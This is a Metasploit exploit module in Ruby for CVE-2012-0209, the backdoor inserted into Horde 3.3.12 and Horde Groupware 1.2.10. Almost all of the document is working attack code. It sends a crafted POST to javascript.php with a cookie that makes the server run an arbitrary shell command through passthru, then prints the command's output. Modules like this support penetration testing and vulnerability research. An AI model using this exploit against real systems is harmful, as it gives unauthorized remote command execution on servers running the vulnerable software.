Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution vulnerability introduced
				as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
			},
			'Author'         => [
				'Eric Romang',  # first public PoC
				'jduck'         # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0209'],
					[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
					[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x0a\x0d",
					'DisableNops' => true,
					'Space'       => 4096,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'DefaultTarget'  => 0,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Feb 13 2012'
			))

			register_options(
				[
					OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
					OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
				], self.class)
	end

	def exploit
		# Make sure the URI begins with a slash
		uri = datastore['URI']
		if uri[0,1] != '/'
			uri = '/' + uri
		end

		# Make sure the URI ends without a slash, because it's already part of the URI
		if uri[-1, 1] == '/'
			uri = uri[0, uri.length-1]
		end

		function = "passthru"
		key = Rex::Text.rand_text_alpha(6)
		arguments = "echo #{key}`"+payload.raw+"`#{key}"

		res = send_request_cgi({
			'uri'     => uri + "/services/javascript.php",
			'method'  => 'POST',
			'ctype'   => 'application/x-www-form-urlencoded',
			'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
			'headers' =>
			{
				'Cookie' => "href="+function+":"+arguments,
				'Connection' => 'Close',
			}
		}) #default timeout, we don't care about the response

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		end

		resp = res.body.split(key)
		if resp and resp[1]
			print_status(resp[1])
		else
			print_error("No response found")
		end

		handler
	end

end